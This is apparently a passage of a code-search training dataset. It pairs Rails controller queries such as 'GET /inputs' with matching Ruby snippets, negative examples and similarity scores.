current_user.accounts\n end" ]
[ "0.6429872", "0.6415981", "0.6352174", "0.62583464", "0.61870044", "0.6182167", "0.6182167", "0.6178533", "0.6125062", "0.60945296", "0.60756516", "0.60674167", "0.6016855", "0.5978605", "0.597151", "0.5958466", "0.59241843", "0.5922495", "0.5884513", "0.58387387", "0.5820655", "0.58022213", "0.5800965", "0.5789632", "0.57836396", "0.5763504", "0.5760635", "0.5746074", "0.5746006", "0.57389104", "0.5718098", "0.56956947", "0.56859773", "0.567495", "0.5667678", "0.56392413", "0.56271964", "0.56191283", "0.5613704", "0.5607244", "0.5578976", "0.5577475", "0.55763084", "0.55755955", "0.55524594", "0.55474746", "0.55116737", "0.55047786", "0.5498296", "0.54957837", "0.5481876", "0.5477325", "0.5473539", "0.547083", "0.5453095", "0.5452896", "0.5447081", "0.54468584", "0.5441011", "0.54130936", "0.5406184", "0.5392438", "0.5387503", "0.53853565", "0.538501", "0.5381996", "0.5379881", "0.53585225", "0.5357022", "0.5354641", "0.5341574", "0.5341574", "0.534149", "0.5327871", "0.53254354", "0.531953", "0.531475", "0.5310896", "0.53091514", "0.5308346", "0.5306166", "0.5304499", "0.5294049", "0.52800125", "0.5279125", "0.5274938", "0.5261462", "0.52496976", "0.52453154", "0.5242785", "0.5239167", "0.52383494", "0.5235101", "0.5222564", "0.52223384", "0.52218246", "0.5221488", "0.52163386", "0.5213067", "0.5213067" ]
0.6233115
4
GET /inputs GET /inputs.json
def index @inputs = Input.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @inputs = Input.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inputs }\n end\n end", "def all_inputs\n HTTParty.get(self.class.url_to(\"#{ id }/inputs\"))\n end", "def inputs\n @inputs ||= JSON.parse(inputs_json || \"null\")\n end", "def index\n extras = ActiveModel::Type::Boolean.new.cast(params[:include_extras])\n\n render json: InputSerializer.collection(\n Input.all,\n @scenario,\n **serializer_args(extra_attributes: extras)\n )\n end", "def inputs(*args)\n return Knj::Web.inputs(args)\n end", "def show\n @input = Input.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @input }\n end\n end", "def list\n render json: Input.all.map{|i| {id: i.id, key: i.key}}\n end", "def index\n @user_inputs = UserInput.all\n end", "def index\n @model_inputs = ModelInput.all\n end", "def list(options = { page: 1, per_page: 20 })\n data = @app.client.inputs options\n Clarinet::Inputs.new @app, data[:inputs]\n end", "def input\n @all[:input]\n end", "def index\n @recipe_inputs = RecipeInput.all\n end", "def inputs\n ports_with_capabilities(:input)\n end", "def index\n @inputs = Input.includes(:team, :answer).all\n end", "def show\n record =\n if params.key?(:id) && params[:id].include?(',')\n params[:id].split(',').compact.uniq.map do |id|\n InputSerializer.serializer_for(\n fetch_input(id),\n @scenario,\n **serializer_args(extra_attributes: true)\n )\n end\n else\n InputSerializer.serializer_for(\n fetch_input(params[:id]), @scenario, **serializer_args(extra_attributes: true)\n )\n end\n\n render json: record\n rescue ActiveRecord::RecordNotFound => e\n render_not_found(errors: [e.message])\n end", "def show\n @mathematical_model_input = MathematicalModelInput.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mathematical_model_input }\n end\n end", "def inputs\n @inputs ||= Scenario::Inputs.new(self)\n end", "def index\n @input_data = InputDatum.all\n end", "def inputs()\n @actor.inputs()\n end", "def inputs\n info.inputs.map {|path| @location + path}\n end", "def by_id(id)\n @client.request(:get, \"/system/inputs/#{id}\")\n end", "def new\n @input = Input.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @input }\n end\n end", "def show_report_input\n input = User.find(params[:id]).reports.find(params[:r_id]).inputs.find(params[:i_id])\n render :json => input\n end", "def format_inputs(inputs)\n @api.account_id = @options[:src]\n result = {}\n\n inputs.index.each do |input|\n # Array input format type isn't correct and must be changed to a json array.\n # More info here: http://reference.rightscale.com/api1.5/resources/ResourceInputs.html#multi_update\n if input.value =~ /^array:/\n array = input.value.sub(/^array:/, \"\").split(\",\")\n array.map {|a| a.sub!(/^/, \"\\\"text:\").sub!(/$/, \"\\\"\")}\n new_array = array.join(\",\")\n new_array.sub!(/^/, \"array:[\")\n new_array.sub!(/$/, \"]\")\n result[input.name] = new_array\n else\n result[input.name] = input.value\n end\n end\n\n return result\nend", "def index\n @first_inputs = FirstInput.all\n end", "def input \n @input ||= JSON.parse(File.read(ARGV[0]));\nend", "def inputs\n @input_map.values\n end", "def index\n @gets = Get.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gets }\n end\n end", "def input_params\n self.params.input_param\n end", "def inputs\n Base.redis.hexists(self.name, :inputs) ? \\\n Marshal.load(Base.redis.hget(self.name, :inputs)) \\\n : []\n end", "def show_report_inputs\n inputs = User.find(params[:id]).reports.find(params[:r_id]).inputs\n render :json => inputs\n end", "def get(id)\n data = @app.client.input id\n Clarinet::Input.new @app, data[:input]\n end", "def api_request(input_args)\n addr = URI(api_url)\n parms = input_args.clone\n parms = api_defaults.merge(parms)\n addr.query = URI.encode_www_form(parms)\n JSON.parse(Net::HTTP.get(addr))\n end", "def input\n @options[:input]\n end", "def inputs()\n nil\n end", "def show\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: @input.to_simple_result, status: :ok }\n end\n end", "def raw_inputs\n @_interaction_inputs\n end", "def index\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json do\n results = @mode.inputs\n .joins(:result)\n .includes(:result)\n .order(created_at: :desc)\n .limit(params[:limit])\n .offset(params[:offset])\n .map(&:to_simple_result)\n render json: results, status: :ok\n end\n end\n end", "def new\n @mathematical_model_input = MathematicalModelInput.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mathematical_model_input }\n end\n end", "def get_input;\t@input \t\tend", "def input; @input; end", "def input; @input; end", "def input_as_json\n return @json_input if @json_input\n require 'json'\n raw = @env['rack.input'].read if @env['rack.input']\n begin\n return @json_input = JSON.parse(raw)\n rescue JSON::ParserError\n end if raw\n {} # default return value\n end", "def format_inputs()\n full_inputs = Hash.new()\n \n if @inputs.any?\n input_array = Array.new()\n @inputs.keys.each do |input|\n input_props = {\"name\" => input, \"value\" => @inputs[input]}\n input_array.push(input_props)\n end\n full_inputs[\"inputs\"] = input_array\n end\n\n if @credential_name\n full_inputs[\"preset\"] = @credential_name\n end\n \n formatted_inputs = full_inputs.to_json()\n return formatted_inputs\n end", "def index\n @custom_inputs = CustomInput.order(created_at: :desc).page params[:page]\n end", "def update\n #@input = Input.find(params[:id])\n\n respond_to do |format|\n if @input.update_attributes(params[:input])\n \n format.html { redirect_to outputs_path, notice: 'Input was successfully updated.' }\n format.json { head :ok }\n format.js {@updates=params[:input].keys}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @input.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @gets = Get.all\n end", "def get_inputs(*args)\n [args].flatten.select { |device| input?(device) }\n end", "def input(question, options = {})\n bool, list, noecho = options.to_options_consumer.consume_all(:bool, :list, :noecho)\n if list\n request_from_list(question, list, noecho)\n elsif bool\n request_from_bool(question, noecho)\n else\n request_string(question, noecho)\n end\n end", "def show\n @input = Input.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @input }\n end\n end", "def parse_input(params, resource); end", "def ingredient_data\n respond_to do |format|\n format.json { render json: helpers.get_ingredient(params[:ingredient_type], params[:ingredient_id]) }\n end\n end", "def index\n @requests = Request.all\n\n render json: @requests\n end", "def tokeninput\n @query = params[:q]\n if @query\n @agencies = Agency.where(\"name LIKE ?\",\"%#{@query}%\")\n @tags = OfficialTag.where(\"tag_text LIKE ?\", \"%#{@query}%\")\n @service_breakdown = Outlet.group(:service).count\n @items = [@query,@agencies,@tags].flatten\n render 'tokeninput'\n else\n render json: {metadata: {query: \"\", error:\"No query provided\"}}\n end\n\n end", "def input_params\n params.require(:input).permit(:key, :frameRate, :resolution, :aspectRatio, :interlaced, :container, :job_id)\n end", "def _inputs(inputs=[], opts={}) # :nodoc:\n if inputs.is_a?(Hash)\n opts = inputs.merge(opts)\n inputs = []\n end\n\n form_opts = {}\n form_opts[:inputs_wrapper] = opts[:nested_inputs_wrapper] if opts[:nested_inputs_wrapper]\n TRANSFORMER_TYPES.each do |t|\n if opts.has_key?(t) && t != :inputs_wrapper\n form_opts[t] = opts[t]\n end\n end\n\n Forme.transform(:inputs_wrapper, opts, @opts, self, opts) do\n with_opts(form_opts) do\n inputs.each do |i|\n emit(input(*i))\n end\n yield if block_given?\n end\n end\n end", "def input\n @input ||= args.dig(:input)\n end", "def get_inputs_list(page = 1, reload = false)\n Bitmovin::Input.list(page, reload)\n end", "def json(input)\n JSON.dump(input)\n end", "def index\n @coin_attributes = @coin.coin_attributes\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @coin_attributes }\n end\n end", "def get_input(info)\n offset = info.offset\n total = info.length || max_size\n limit = total - offset if total\n\n Tus::Input.new(request.body, limit: limit)\n end", "def index\n @input_logs = InputLog.all\n end", "def create\n @input = Input.new(input_params)\n\n respond_to do |format|\n if @input.save\n format.html { redirect_to @input, notice: 'Input was successfully created.' }\n format.json { render action: 'show', status: :created, location: @input }\n else\n format.html { render action: 'new' }\n format.json { render json: @input.errors, status: :unprocessable_entity }\n end\n end\n end", "def json_echo(input)\n # Validate required parameters.\n validate_parameters(\n 'input' => input\n )\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/'\n _query_builder = APIHelper.append_url_with_query_parameters(\n _query_builder,\n 'echo' => true\n )\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json',\n 'content-type' => 'application/json; charset=utf-8'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.post(\n _query_url,\n headers: _headers,\n parameters: input.to_json\n )\n _response = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n return nil if _response.status_code == 404\n validate_response(_response)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body) unless\n _response.raw_body.nil? ||\n _response.raw_body.to_s.strip.empty?\n decoded\n end", "def index\n render json: RequestItem.all\n end", "def index\n @animals = Animal.search(params[:term])\n # @tasks = Task.search(params[:term])\n # @my_input = params['my_input']\n end", "def keys\n @inputs.keys\n end", "def index\n @prompts = Prompt.all\n\n data = @prompts.map do |thing|\n thing.serialized_data\n end\n\n render json: data\n\n end", "def ingredient_params\n ActiveModelSerializers::Deserialization.jsonapi_parse!(params, only: [:name, :location, :category])\n end", "def json_params\n unless @json_params\n @json_params = JSON.parse env[\"rack.input\"].read\n env[\"rack.input\"].rewind\n end\n @json_params\n end", "def index\n \n @steps = @quest.steps\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @steps }\n end\n end", "def input\n @input ||= RDF::Util::File.open_file(action) {|f| f.read}\n end", "def input\n @input ||= RDF::Util::File.open_file(action) {|f| f.read}\n end", "def read_input_file\n\t\tbegin \n\t\t\tfile = File.read('data.json')\n\t\t\tjson_info = JSON.parse(file)\n\t\t\t\n\t\t\t#getting cars and rentals information\n\t\t\t@cars = json_info[\"cars\"]\n\t\t\t@rentals = json_info[\"rentals\"]\n\t\trescue Exception => e \n\t\t\tputs \"Error trying to read the input file!\" \n\t\t\tputs e.message\n\t\tend\n\tend", "def create\n @example_input = ExampleInput.new(example_input_params)\n\n respond_to do |format|\n if @example_input.save\n format.html { redirect_to @example_input, notice: 'Example input was successfully created.' }\n format.json { render :show, status: :created, location: @example_input }\n else\n format.html { render :new }\n format.json { render json: @example_input.errors, status: :unprocessable_entity }\n end\n end\n end", "def input_params\n params.require(:input).permit(:input_file)\n end", "def create\n @input = Input.new(params[:input].merge!(:user => current_user))\n respond_to do |format|\n if @input.save\n format.html { redirect_to @input, notice: 'Input was successfully created.' }\n format.json { render json: @input, status: :created, location: @input }\n else\n format.html { render action: \"new\" }\n format.json { render json: @input.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @requests = ::Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end", "def index\n @input_streams = InputStream.all\n end", "def abs\n\t\tresult = @input.abs\n\n\t render json: result, status: 200\n\trescue\n\t\trender json: {\"message\": 'Use the format: {\"input\": num}'}, status: 400\n\tend", "def request(args = {})\n response = @client.get(args[:url],\n argument_hash(args[:args] || {},\n args[:symbols] || []))\n JSON.parse(response.body)\n end", "def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end", "def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end", "def show\n params.require(%i[id])\n render json: Ingredient.find_by!(id: params[:id])\n end", "def index\n @ips = Ip.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ips }\n end\n end", "def set_input\n @input = Input.find(params[:id])\n end", "def set_input\n @input = Input.find(params[:id])\n end", "def set_input\n @input = Input.find(params[:id])\n end", "def set_input\n @input = Input.find(params[:id])\n end", "def create(inputs)\n inputs = [inputs] unless inputs.is_a? Array\n inputs = inputs.map { |input| Clarinet::Utils.format_input(input) }\n\n data = @app.client.inputs_create inputs\n Clarinet::Inputs.new data[:inputs]\n end", "def index\n if params[:workpoint_id]\n @outs = Workpoint.find(params[:workpoint_id]).outs\n else\n @outs = Out.all\n end\n respond_to do |format|\n format.json {\n render :json => @outs, :layout => false\n }\n end\n end", "def index\n @requests = Request.all\n\n respond_to do |format|\n format.json { render :json => @requests}\n end\n end", "def input; end", "def input; end", "def input; end", "def input_files\n @input_files ||= to_file(@args.input)\n end", "def index\n info = Aws.get_recipes_from_db\n render :json => info\n end", "def range\n\t result = @input.max - @input.min\n\n\t render json: result, status: 200\n\trescue\n\t\trender json: {\"message\": 'Use the format: {\"input\": [num, num]}'}, status: 400\n\tend" ]
[ "0.7307861", "0.72687864", "0.7177548", "0.69802463", "0.6778512", "0.6466119", "0.6393088", "0.6108451", "0.6105455", "0.6087893", "0.60466534", "0.60245204", "0.6020036", "0.5980527", "0.59731275", "0.59616494", "0.59074455", "0.58554316", "0.58506215", "0.572571", "0.5721288", "0.5720108", "0.5676906", "0.56690073", "0.56576663", "0.5651325", "0.56014293", "0.55943507", "0.5585383", "0.5534783", "0.5522865", "0.5489883", "0.54393244", "0.5415297", "0.5402445", "0.5393603", "0.53920335", "0.53859574", "0.536371", "0.5345255", "0.5325188", "0.5325188", "0.5259474", "0.5259191", "0.5255174", "0.5247744", "0.5247494", "0.5217979", "0.521144", "0.5188175", "0.5178192", "0.5168728", "0.5163858", "0.5140958", "0.5133432", "0.51318467", "0.5128973", "0.5124999", "0.5121629", "0.5114603", "0.51090443", "0.51083076", "0.5092119", "0.5089401", "0.5088874", "0.50878876", "0.50861067", "0.5084788", "0.50829387", "0.50748116", "0.5067634", "0.50660735", "0.50660735", "0.5058975", "0.50540483", "0.5053138", "0.5044179", "0.5031929", "0.5031259", "0.5021777", "0.5015641", "0.5013907", "0.5013907", "0.50034875", "0.50025", "0.50000244", "0.50000244", "0.50000244", "0.50000244", "0.4998889", "0.49902385", "0.4987604", "0.49859196", "0.49859196", "0.49859196", "0.49763003", "0.4960562", "0.49552786" ]
0.67656076
7
GET /inputs/1 GET /inputs/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @inputs = Input.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inputs }\n end\n end", "def all_inputs\n HTTParty.get(self.class.url_to(\"#{ id }/inputs\"))\n end", "def index\n extras = ActiveModel::Type::Boolean.new.cast(params[:include_extras])\n\n render json: InputSerializer.collection(\n Input.all,\n @scenario,\n **serializer_args(extra_attributes: extras)\n )\n end", "def inputs\n @inputs ||= JSON.parse(inputs_json || \"null\")\n end", "def index\n @inputs = Input.all\n end", "def index\n @inputs = Input.all\n end", "def index\n @inputs = Input.all\n end", "def show\n @input = Input.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @input }\n end\n end", "def by_id(id)\n @client.request(:get, \"/system/inputs/#{id}\")\n end", "def inputs(*args)\n return Knj::Web.inputs(args)\n end", "def show\n record =\n if params.key?(:id) && params[:id].include?(',')\n params[:id].split(',').compact.uniq.map do |id|\n InputSerializer.serializer_for(\n fetch_input(id),\n @scenario,\n **serializer_args(extra_attributes: true)\n )\n end\n else\n InputSerializer.serializer_for(\n fetch_input(params[:id]), @scenario, **serializer_args(extra_attributes: true)\n )\n end\n\n render json: record\n rescue ActiveRecord::RecordNotFound => e\n render_not_found(errors: [e.message])\n end", "def show\n @mathematical_model_input = MathematicalModelInput.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mathematical_model_input }\n end\n end", "def index\n @model_inputs = ModelInput.all\n end", "def list\n render json: Input.all.map{|i| {id: i.id, key: i.key}}\n end", "def input\n @all[:input]\n end", "def index\n @user_inputs = UserInput.all\n end", "def index\n @first_inputs = FirstInput.all\n end", "def index\n @recipe_inputs = RecipeInput.all\n end", "def new\n @input = Input.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @input }\n end\n end", "def input \n @input ||= JSON.parse(File.read(ARGV[0]));\nend", "def show_report_input\n input = User.find(params[:id]).reports.find(params[:r_id]).inputs.find(params[:i_id])\n render :json => input\n end", "def index\n @inputs = Input.includes(:team, :answer).all\n end", "def index\n @input_data = InputDatum.all\n end", "def get(id)\n data = @app.client.input id\n Clarinet::Input.new @app, data[:input]\n end", "def inputs\n ports_with_capabilities(:input)\n end", "def index\n @gets = Get.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gets }\n end\n end", "def show\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: @input.to_simple_result, status: :ok }\n end\n end", "def inputs\n @inputs ||= Scenario::Inputs.new(self)\n end", "def list(options = { page: 1, per_page: 20 })\n data = @app.client.inputs options\n Clarinet::Inputs.new @app, data[:inputs]\n end", "def index\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json do\n results = @mode.inputs\n .joins(:result)\n .includes(:result)\n .order(created_at: :desc)\n .limit(params[:limit])\n .offset(params[:offset])\n .map(&:to_simple_result)\n render json: results, status: :ok\n end\n end\n end", "def new\n @mathematical_model_input = MathematicalModelInput.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mathematical_model_input }\n end\n end", "def show_report_inputs\n inputs = User.find(params[:id]).reports.find(params[:r_id]).inputs\n render :json => inputs\n end", "def format_inputs(inputs)\n @api.account_id = @options[:src]\n result = {}\n\n inputs.index.each do |input|\n # Array input format type isn't correct and must be changed to a json array.\n # More info here: http://reference.rightscale.com/api1.5/resources/ResourceInputs.html#multi_update\n if input.value =~ /^array:/\n array = input.value.sub(/^array:/, \"\").split(\",\")\n array.map {|a| a.sub!(/^/, \"\\\"text:\").sub!(/$/, \"\\\"\")}\n new_array = array.join(\",\")\n new_array.sub!(/^/, \"array:[\")\n new_array.sub!(/$/, \"]\")\n result[input.name] = new_array\n else\n result[input.name] = input.value\n end\n end\n\n return result\nend", "def input_params\n self.params.input_param\n end", "def show\n @input = Input.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @input }\n end\n end", "def api_request(input_args)\n addr = URI(api_url)\n parms = input_args.clone\n parms = api_defaults.merge(parms)\n addr.query = URI.encode_www_form(parms)\n JSON.parse(Net::HTTP.get(addr))\n end", "def inputs()\n @actor.inputs()\n end", "def input\n @options[:input]\n end", "def input; @input; end", "def input; @input; end", "def update\n #@input = Input.find(params[:id])\n\n respond_to do |format|\n if @input.update_attributes(params[:input])\n \n format.html { redirect_to outputs_path, notice: 'Input was successfully updated.' }\n format.json { head :ok }\n format.js {@updates=params[:input].keys}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @input.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @input = Input.new(input_params)\n\n respond_to do |format|\n if @input.save\n format.html { redirect_to @input, notice: 'Input was successfully created.' }\n format.json { render action: 'show', status: :created, location: @input }\n else\n format.html { render action: 'new' }\n format.json { render json: @input.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_input\n @input = Input.find(params[:id])\n end", "def set_input\n @input = Input.find(params[:id])\n end", "def set_input\n @input = Input.find(params[:id])\n end", "def set_input\n @input = Input.find(params[:id])\n end", "def input\n @input ||= args.dig(:input)\n end", "def get_input;\t@input \t\tend", "def create\n @example_input = ExampleInput.new(example_input_params)\n\n respond_to do |format|\n if @example_input.save\n format.html { redirect_to @example_input, notice: 'Example input was successfully created.' }\n format.json { render :show, status: :created, location: @example_input }\n else\n format.html { render :new }\n format.json { render json: @example_input.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @gets = Get.all\n end", "def parse_input(params, resource); end", "def index\n @coin_attributes = @coin.coin_attributes\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @coin_attributes }\n end\n end", "def index\n @requests = Request.all\n\n render json: @requests\n end", "def show\n params.require(%i[id])\n render json: Ingredient.find_by!(id: params[:id])\n end", "def abs\n\t\tresult = @input.abs\n\n\t render json: result, status: 200\n\trescue\n\t\trender json: {\"message\": 'Use the format: {\"input\": num}'}, status: 400\n\tend", "def cmd_get argv\n setup argv\n e = @hash['element']\n response = @api.get(e)\n msg JSON.pretty_generate(response)\n return response\n end", "def outputs_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.outputs_get ...'\n end\n # resource path\n local_var_path = '/api/v1/outputs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'address'] = @api_client.build_collection_param(opts[:'address'], :multi) if !opts[:'address'].nil?\n query_params[:'hash'] = @api_client.build_collection_param(opts[:'hash'], :multi) if !opts[:'hash'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Object' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#outputs_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @input_logs = InputLog.all\n end", "def inputs\n info.inputs.map {|path| @location + path}\n end", "def reciprocal\n\t\tresult = 1/@input\n\n\t render json: result, status: 200\n\trescue\n\t\trender json: {\"message\": 'Use the format: {\"input\": num}'}, status: 400\n\tend", "def index\n render json: RequestItem.all\n end", "def index\n @ips = Ip.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ips }\n end\n end", "def index\n \n @steps = @quest.steps\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @steps }\n end\n end", "def index\n @animals = Animal.search(params[:term])\n # @tasks = Task.search(params[:term])\n # @my_input = params['my_input']\n end", "def get_input(info)\n offset = info.offset\n total = info.length || max_size\n limit = total - offset if total\n\n Tus::Input.new(request.body, limit: limit)\n end", "def create\n @input = Input.new(params[:input].merge!(:user => current_user))\n respond_to do |format|\n if @input.save\n format.html { redirect_to @input, notice: 'Input was successfully created.' }\n format.json { render json: @input, status: :created, location: @input }\n else\n format.html { render action: \"new\" }\n format.json { render json: @input.errors, status: :unprocessable_entity }\n end\n end\n end", "def power\n\t\tresult = @input[0] ** @input[1]\n\n\t render json: result, status: 200\n\trescue\n\t\trender json: {\"message\": 'Use the format: {\"input\": [num, power]}'}, status: 400\n\tend", "def index\n if params[:workpoint_id]\n @outs = Workpoint.find(params[:workpoint_id]).outs\n else\n @outs = Out.all\n end\n respond_to do |format|\n format.json {\n render :json => @outs, :layout => false\n }\n end\n end", "def index\n info = Aws.get_recipes_from_db\n render :json => info\n end", "def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end", "def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end", "def json_echo(input)\n # Validate required parameters.\n validate_parameters(\n 'input' => input\n )\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/'\n _query_builder = APIHelper.append_url_with_query_parameters(\n _query_builder,\n 'echo' => true\n )\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json',\n 'content-type' => 'application/json; charset=utf-8'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.post(\n _query_url,\n headers: _headers,\n parameters: input.to_json\n )\n _response = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n return nil if _response.status_code == 404\n validate_response(_response)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body) unless\n _response.raw_body.nil? ||\n _response.raw_body.to_s.strip.empty?\n decoded\n end", "def set_example_input\n @example_input = ExampleInput.find(params[:id])\n end", "def inputs\n Base.redis.hexists(self.name, :inputs) ? \\\n Marshal.load(Base.redis.hget(self.name, :inputs)) \\\n : []\n end", "def index\n @requests = Request.all\n\n respond_to do |format|\n format.json { render :json => @requests}\n end\n end", "def run(inputs = {}, container = Dry::Container.new)\n response = resolve_inputs(inputs)\n return response if response.failure?\n valid_inputs = response.ok\n\n resolve_dependencies(container)\n handler = self.new(container)\n result = handler.call(valid_inputs)\n result = create_response(result) unless response?(result)\n\n result\n end", "def interface\n respond_to do |format|\n format.json {}\n end\n end", "def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :guid => HttpClient::Preconditions.assert_class_or_nil('guid', HttpClient::Helper.to_uuid(opts.delete(:guid)), String),\n :key => HttpClient::Preconditions.assert_class_or_nil('key', opts.delete(:key), String),\n :limit => HttpClient::Preconditions.assert_class_or_nil('limit', opts.delete(:limit), Integer),\n :offset => HttpClient::Preconditions.assert_class_or_nil('offset', opts.delete(:offset), Integer)\n }.delete_if { |k, v| v.nil? }\n @client.request(\"/generators\").with_query(query).get.map { |hash| Apidoc::Models::Generator.new(hash) }\n end", "def index\n @custom_inputs = CustomInput.order(created_at: :desc).page params[:page]\n end", "def show\n @showItin = Itinerary.find(itin_params)\n render json: @showItin, status: 200\n end", "def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end", "def input; end", "def input; end", "def input; end", "def input\n @input ||= RDF::Util::File.open_file(action) {|f| f.read}\n end", "def input\n @input ||= RDF::Util::File.open_file(action) {|f| f.read}\n end", "def get_inputs(*args)\n [args].flatten.select { |device| input?(device) }\n end", "def destroy\n @input = Input.find(params[:id])\n @input.destroy\n\n respond_to do |format|\n format.html { redirect_to inputs_url }\n format.json { head :ok }\n end\n end", "def input(name=nil)\n collection_name = \"rocket_job.inputs.#{id}\"\n collection_name << \".#{name}\" if name\n (@inputs ||= {})[name] = RocketJob::Sliced::Input.new(\n name: collection_name,\n encrypt: encrypt,\n compress: compress,\n slice_size: slice_size\n )\n end", "def GET; end", "def show\n response = Aws.list_recipe(params[:id])\n render :json => response\n end", "def index\n render json: usage(params[:type])\n end", "def input_params\n params.require(:input).permit(:key, :frameRate, :resolution, :aspectRatio, :interlaced, :container, :job_id)\n end", "def ingredient_data\n respond_to do |format|\n format.json { render json: helpers.get_ingredient(params[:ingredient_type], params[:ingredient_id]) }\n end\n end", "def index\n @requests = ::Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end", "def inputs()\n nil\n end", "def test_fetch_nonexistent_input_kind\n assert_nil(@service.inputs[temporary_name()])\n end", "def input_as_json\n return @json_input if @json_input\n require 'json'\n raw = @env['rack.input'].read if @env['rack.input']\n begin\n return @json_input = JSON.parse(raw)\n rescue JSON::ParserError\n end if raw\n {} # default return value\n end", "def index\n @outputs = Output.all\n end", "def get_one\n question_data = Question.new.get_one( params[:id] )\n return render json: question_data\n end", "def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @examples }\n end\n end" ]
[ "0.7046096", "0.690899", "0.66496444", "0.6568536", "0.65620923", "0.65620923", "0.65620923", "0.6519063", "0.61565924", "0.6131882", "0.6054822", "0.59919184", "0.585011", "0.5848895", "0.58375615", "0.5765737", "0.5745527", "0.57173413", "0.5716149", "0.571158", "0.56919396", "0.5647956", "0.55974317", "0.55914235", "0.55265945", "0.5498474", "0.5469223", "0.5462734", "0.53832066", "0.5378673", "0.5349395", "0.5294738", "0.5287983", "0.5269262", "0.5266776", "0.5241345", "0.5229623", "0.52179766", "0.52133065", "0.52133065", "0.52004427", "0.51732326", "0.51479346", "0.51479346", "0.51479346", "0.51479346", "0.51277906", "0.5111467", "0.5104608", "0.51012075", "0.51000756", "0.5085902", "0.5082476", "0.5071251", "0.50705904", "0.50369346", "0.50229204", "0.5022406", "0.5020916", "0.5011683", "0.5008985", "0.50055987", "0.5002367", "0.4999934", "0.49907458", "0.49873072", "0.4976932", "0.49768403", "0.49750635", "0.49723545", "0.49723545", "0.49675858", "0.49616823", "0.49614584", "0.49603987", "0.49475583", "0.49437985", "0.49399525", "0.49355364", "0.49340698", "0.49317425", "0.49307525", "0.49307525", "0.49307525", "0.4927246", "0.4927246", "0.49241316", "0.49237296", "0.49219593", "0.49158186", "0.49108875", "0.49095774", "0.4906988", "0.49042666", 